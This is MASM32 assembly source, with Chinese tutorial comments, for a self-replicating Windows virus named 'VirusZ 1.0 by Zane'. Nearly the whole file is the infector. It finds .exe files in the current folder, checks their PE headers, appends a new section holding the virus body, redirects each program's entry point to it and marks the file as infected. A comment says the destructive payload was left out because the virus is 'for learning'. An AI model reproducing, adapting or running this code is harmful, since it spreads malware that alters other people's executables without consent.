586
.model flat, stdcall
option casemap : none ; 区分大小写
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
.data ; 寄主程序要用到的数据
MsgTitle db "Caution!", 0h
Msg db "VirusZ OK!", 0h
.code
;==========================================>>宿主程序
main_start:
push MB_OK
push offset MsgTitle
push offset Msg
push NULL
call MessageBox
push 0h
call ExitProcess
; 这个寄主程序很简单,就不需要解释了吧。:)
;==========================================<<寄主程序结束
VirusZ segment
;==========================================>>病毒代码
virus_start:
call get_offset
get_offset:
pop ebp
sub ebp, offset get_offset
; 取得偏移值,以后所有数据都要加上这个偏移。
; 这个偏移是怎么取得的呢?call get_offset将get_offset的地址压入堆栈,然后用pop ebp把地址值放到ebp中,; 再用原来的get_offset地址减去它,就拿到了原地址和当前地址的偏移。
cmp Ori_Entry[ebp], 0h
jnz save_entry
mov Ori_Entry[ebp], 401000h
; 什么情况下Ori_Entry[ebp]中的值会是0h呢?只有在运行现在这个程序的时候。在后面的代码中可以看到, 在传染时,被感染的EXE中Ori_Entry[ebp]都被填入了原入口地址,所以只有这个程序在执行时Ori_Entry[ebp] 中为0h。
save_entry:
push Ori_Entry[ebp]
pop Ret_Entry[ebp]
; 因为Ori_Entry[ebp]在后面写入EXE时要改为其他的值,所以,先把本次运行的入口地址保存起来,之后跳转使用。
lea eax, FindData[ebp]
push eax
lea eax, FindFile[ebp]
push eax
call ZFindFirstFile ; 查找第一个文件
; 每一个API的调用都在前面加上了一个Z,声明在后面的调用函数部分。
cmp eax, INVALID_HANDLE_VALUE
jz end_find ; 查找完毕
mov FindHandle[ebp], eax
call infect_file ; 感染文件
find_next:
lea eax, FindData[ebp]
push eax
push FindHandle[ebp]
call ZFindNextFile ; 查找下一个文件
cmp eax, FALSE
jz end_find ; 查找完毕
call infect_file ; 感染文件
jmp find_next
infect_file:
; 下面开始是感染判断及感染过程。
push 0h
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0h
push FILE_SHARE_READ + FILE_SHARE_WRITE
push GENERIC_READ + GENERIC_WRITE
lea eax, FindData[ebp].cFileName
push eax
call ZCreateFile ; 打开文件
cmp eax, INVALID_HANDLE_VALUE
jz create_err
mov OpenHandle[ebp], eax
push FILE_BEGIN
push 0h
push 3ch
push OpenHandle[ebp]
call ZSetFilePointer ; 指向文件3ch处
; 从文件开始数起的3ch处是MZ Header中记录的PE头的偏移。
push 0h
lea eax, ReadCount[ebp]
push eax
push 4h
lea eax, PEAddress[ebp]
push eax
push OpenHandle[ebp]
call ZReadFile ; 读取PE头偏移
cmp eax, 0h
jz read_err
push FILE_BEGIN
push 0h
push PEAddress[ebp]
push OpenHandle[ebp]
call ZSetFilePointer ; 指向PE头开始处
mov HeadLength[ebp], sizeof PEHead + sizeof SectionTable
; HeadLength[ebp]中是PE头和节表的长度和。
push 0h
lea eax, ReadCount[ebp]
push eax
push HeadLength[ebp]
lea eax, PEHead[ebp]
push eax
push OpenHandle[ebp]
call ZReadFile ; 读取PE头和节表
cmp eax, 0h
jz read_err
cmp DWORD ptr PEHead[ebp].Signature, IMAGE_NT_SIGNATURE ; 是否PE格式
; IMAGE_NT_SIGNATURE应为"PE\0\0"。
jnz end_modify
cmp WORD ptr PEHead[ebp + 1ah], 0C05h ; 是否已经感染
; PEHead[ebp + 1ah]处的值代表的是该程序的Linker的版本,在MASM32 V8.0中版本为0C05h,而绝大多数程序, 这个值是不相等的,所以用来判断是否感染。
jz end_modify
; 下面是感染EXE的代码
mov eax, PEHead[ebp].OptionalHeader.AddressOfEntryPoint
; PEHead[ebp].OptionalHeader.AddressOfEntryPoin是程序入口地址的RVA。
add eax, PEHead[ebp].OptionalHeader.ImageBase
; PEHead[ebp].OptionalHeader.ImageBase是程序载入内存的基地址。
; 两个值相加得到程序入口的实际地址。
mov Ori_Entry[ebp], eax ; 保存原程序入口点
mov eax, sizeof PEHead
mov SectionAddress[ebp], eax ; 节表开始地址
mov VirusLength[ebp], offset virus_end - offset virus_start ; 病毒长度
movzx eax, PEHead[ebp].FileHeader.NumberOfSections ; 节的个数
inc eax
mov ecx, 28h
; 节表中每个节定义占28h。
mul ecx ; eax = eax * ecx
add eax, SectionAddress[ebp]
add eax, PEAddress[ebp]
cmp eax, PEHead[ebp].OptionalHeader.SizeOfHeaders ; 看是否还能插入一个节
ja end_modify
lea edi, SectionTable[ebp]
movzx eax, PEHead[ebp].FileHeader.NumberOfSections
mov ecx, 28h
mul ecx
; eax中得到节表修改前大小。
add edi, eax
; edi存放添加节的开始地址。
inc PEHead[ebp].FileHeader.NumberOfSections ; 添加一个节
mov eax, [edi - 28h + 8h] ; 前一节长
add eax, [edi - 28h + 0ch] ; 前一节RVA
mov ecx, PEHead[ebp].OptionalHeader.SectionAlignment ; 节的对齐值
div ecx
inc eax
mul ecx
mov NewSection[ebp].VirtualAddress, eax ; 对齐的新节虚拟地址
mov eax, VirusLength[ebp] ; 病毒长度
mov ecx, PEHead[ebp].OptionalHeader.FileAlignment ; 文件的对齐值
div ecx
inc eax
mul ecx
mov NewSection[ebp].RawSize, eax ; 对齐的新节物理大小
mov eax, VirusLength[ebp] ; 病毒长度
mov NewSection[ebp].VirtualSize, eax ; 新节虚拟长度 = 病毒长度
mov eax, [edi - 28h + 14h] ; 前一节物理偏移
add eax, [edi - 28h + 10h] ; 前一节物理长度
mov ecx, PEHead[ebp].OptionalHeader.FileAlignment ; 文件的对齐值
div ecx
inc eax
mul ecx
mov NewSection[ebp].RawOffset, eax ; 对齐的新节物理偏移
mov eax, NewSection[ebp].VirtualSize ; 新节虚拟长度
add eax, PEHead[ebp].OptionalHeader.SizeOfImage ; 加上原文件虚拟长度
mov ecx, PEHead[ebp].OptionalHeader.SectionAlignment ; 节的对齐值
div ecx
inc eax
mul ecx
mov PEHead[ebp].OptionalHeader.SizeOfImage, eax ; 新的文件虚拟长度
; 之前的修改都是在改NewSection[ebp]中的,别忘了拷回节表中。
lea esi, NewSection[ebp]
mov ecx, 28h
rep movsb ; 从NewSection中拷到节表中
mov eax, NewSection[ebp].VirtualAddress
mov PEHead[ebp].OptionalHeader.AddressOfEntryPoint, eax ; 更新程序入口点
mov WORD ptr PEHead[ebp + 1ah], 0C05h ; 加上已感染标志
push FILE_BEGIN
push 0h
push PEAddress[ebp]
push OpenHandle[ebp]
call ZSetFilePointer ; 文件指针指向PE头处
push 0h
lea eax, ReadCount[ebp]
push eax
push HeadLength[ebp]
lea eax, PEHead[ebp]
push eax
push OpenHandle[ebp]
call ZWriteFile ; 写入新的PE头
cmp eax, 0h
jz write_err
push FILE_BEGIN
push 0h
push NewSection[ebp].RawOffset
push OpenHandle[ebp]
call ZSetFilePointer ; 指向病毒代码写入处(应该在文件尾)
push 0h
lea eax, ReadCount[ebp]
push eax
push NewSection[ebp].RawSize
lea eax, virus_start[ebp]
push eax
push OpenHandle[ebp]
call ZWriteFile ; 写入病毒代码
cmp eax, 0h
jz write_err
end_modify:
read_err:
write_err:
setpointer_err:
push OpenHandle[ebp]
call ZCloseHandle ; 关闭文件
create_err:
ret
; 感染完毕,ret后继续查找下一个文件。
end_find:
push FindHandle[ebp]
call ZFindClose ; 停止查找
; 此处放置破坏代码(包括破坏条件和破坏内容),不过本病毒用于学习,就不放了。:)
push Ret_Entry[ebp] ; 此处为返回寄主程序的入口地址
ret
; ret从堆栈中取一个值作为跳回的地址,所以,先压入原入口点,再ret就回到了寄主程序入口。
;==========================================<<病毒代码结束
;==========================================>>函数声明
这里的地址都是NT中的对应API地址,如果要改为9X下执行,就把地址值改为9X的。(地址可以用W32DASM得到。)
ZCreateFile:
mov FunctionAddress[ebp], 77e5a837h
jmp FunctionAddress[ebp]
ZSetFilePointer:
mov FunctionAddress[ebp], 77e58c81h
jmp FunctionAddress[ebp]
ZReadFile:
mov FunctionAddress[ebp], 77e58b82h
jmp FunctionAddress[ebp]
ZWriteFile:
mov FunctionAddress[ebp], 77e59d8ch
jmp FunctionAddress[ebp]
ZCloseHandle:
mov FunctionAddress[ebp], 77e57963h
jmp FunctionAddress[ebp]
ZFindFirstFile:
mov FunctionAddress[ebp], 77e55d9eh
jmp FunctionAddress[ebp]
ZFindNextFile:
mov FunctionAddress[ebp], 77e55e67h
jmp FunctionAddress[ebp]
ZFindClose:
mov FunctionAddress[ebp], 77e58eaah
jmp FunctionAddress[ebp]
;==========================================<<函数声明结束
;==========================================>>病毒数据
; 这些都是病毒程序中用到的数据
Ret_Entry dd 0h
Ori_Entry dd 0h
FindFile db "*.exe", 0h
FindData WIN32_FIND_DATA <0>
FindHandle dd 0h
OpenHandle dd 0h
ReadCount dd 0h
PEAddress dd 0h
PEHead IMAGE_NT_HEADERS <0>
SectionTable db 280h dup (0)
HeadLength dd 0h
Sectionaddress dd 0h
VirusLength dd 0h
FunctionAddress dd 0h
VirusZSection struc
SectionName db "VirusZ", 0h, 0h
VirtualSize dd 0h
VirtualAddress dd 0h
RawSize dd 0h
RawOffset dd 0h
dd 0h, 0h, 0h
SectionFlags dd 0e0000020h
VirusZSection ends
NewSection VirusZSection <>
;==========================================<<病毒数据结束
VirusName db 0h, "VirusZ 1.0 by Zane", 0h ; 版本信息
virus_end:
VirusZ ends
end virus_start ; 从病毒代码入口开始执行